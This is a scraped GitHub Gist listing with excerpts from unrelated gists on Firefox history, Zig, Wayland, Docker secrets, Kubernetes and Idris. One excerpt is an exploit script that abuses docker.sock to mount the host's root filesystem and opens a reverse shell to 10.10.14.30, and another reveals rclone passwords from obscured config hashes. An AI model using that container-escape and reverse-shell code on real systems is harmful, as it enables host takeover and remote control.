Skip to content

Instantly share code, notes, and snippets.

View lainiwa's full-sized avatar

lainiwa

View GitHub Profile
@rrrnld
rrrnld / README.md
Last active August 23, 2024 08:35
Interacting with your Firefox bookmarks and history from the command line

Firefox History and Bookmark Command Line Interface

These scripts use fzf and sqlite to efficiently query your firefox history and bookmarks. This is heavily inspired by a post from the creator of fzf: https://junegunn.kr/2015/04/browsing-chrome-history-with-fzf/. fzf allows you to select multiple items and the results returned will be the URLs.

What Does It Look Like?

asciicast

@ityonemo
ityonemo / test.md
Last active June 30, 2025 08:53
Zig in 30 minutes

A half-hour to learn Zig

This is inspired by https://fasterthanli.me/blog/2020/a-half-hour-to-learn-rust/

Basics

the command zig run my_code.zig will compile and immediately run your Zig program. Each of these cells contains a zig program that you can try to run (some of them contain compile-time errors that you can comment out to play with)

@PwnPeter
PwnPeter / exploit-docker-sock.sh
Created December 6, 2020 16:30
Exploit docker.sock to mount root filesystem in a container
#!/bin/bash
# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest
# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"
@probonopd
probonopd / Wayland.md
Last active July 15, 2025 19:10
Think twice about Wayland. It breaks everything!

Think twice before abandoning X11. Wayland breaks everything!

image

Source: https://x.com/LundukeJournal/status/1940441670098809093

Hence, if you are interested in existing applications to "just work" without the need for adjustments, then you may be better off avoiding Wayland.

Wayland solves no issues I have but breaks almost everything I need. Even the most basic, most simple things (like xkill) - in this case with no obvious replacement. And usually it stays broken, because the Wayland folks mostly seem to care about Automotive, Gnome, maybe KDE - and alienating everyone else (e.g., people using just an X11 window manager or something like GNUstep) in the process.

@MineRobber9000
MineRobber9000 / donotuse3.py
Last active February 8, 2024 12:48
How to NEVER use lambdas - Python 3 edition
###########################################################
# How to NEVER use lambdas. An inneficient and yet educa- #
# tonal [sic] guide to the proper misuse of the lambda #
# construct in Python 3.x. [DO NOT USE ANY OF THIS EVER] #
# original by (and apologies to): e000 (13/6/11) #
# now in Python 3 courtesy of: khuxkm (17/9/20) #
###########################################################
## Part 1. Basic LAMBDA Introduction ##
# If you're reading this, you've probably already read e000's
@Freekers
Freekers / mustreveal.go
Created August 31, 2020 12:16
rclone hash to password decryptor
// rclone hash to password decryptor - quick and dirty by Freekers
// will decrypt password based on hash in rclone config, in case you lost the password but still have the hash or config
// 1. install golang from here: https://golang.org/dl/
// 2. Open a cmd and run: go get github.com/rclone/rclone/fs/config/obscure
// 3. replace 'YOUR_HASH_HERE' with your hash and save the file
// 4. In cmd, run: go run mustreveal.go
// 5. The password is displayed.
package main
@mkfares
mkfares / docker-swarm-secrets.md
Created August 15, 2020 14:45
Docker Swarm - Managing Secrets

Docker Swarm - Managing Secrets

A secret is an information that should be kept hidden from unauthorized users and applications. Examples of secrets include usernames, passwords, private keys, certificates, and resource names and locations.

The aim of secrets is to store sensitive information, that is needed by services, in a secure location. In other words, You should avoid storing these information in docker images and docker compose files in clear text.

Docker engine provides a set of commands to manage secrets and make them available to your applications. These commands should be executed on docker swarm managers.

The docker secrets have the following properties:

  • Secrets are encrypted when transmitted and at rest in the docker swarm.
@schneefisch
schneefisch / restart_pods.md
Last active July 9, 2024 15:46
How to restart all pods in a statefulset or deployment

Various ways to restart pods

Restart deployment

The most gracefull way is to trigger a restart for the deployment. In this case, a pod will only be terminated once the new pod is ready. It will slowly replace all pods one after the other.

kubectl rollout restart deployment <deployment-name>

Restart pods in a statefulset

@MineRobber9000
MineRobber9000 / README.md
Created July 7, 2020 03:29
Import Python modules from GitHub

githubimport

Allows you to import Python modules from the top level of a GitHub repository. Basically, golang's import semantics but in Python fashion.

>>> import githubimport
>>> from MineRobber9000.test_modules import blah
>>> blah.foo()
"bar"
@YBogomolov
YBogomolov / 0_README.md
Created June 7, 2020 13:34
Idris 2 DevContainer

How to use Idris 2 in devcontainer

Step 1: build executable and libraries

Use the Dockerfile below to build the Idris 2 executable and standard library:

docker build --tag=idris2 .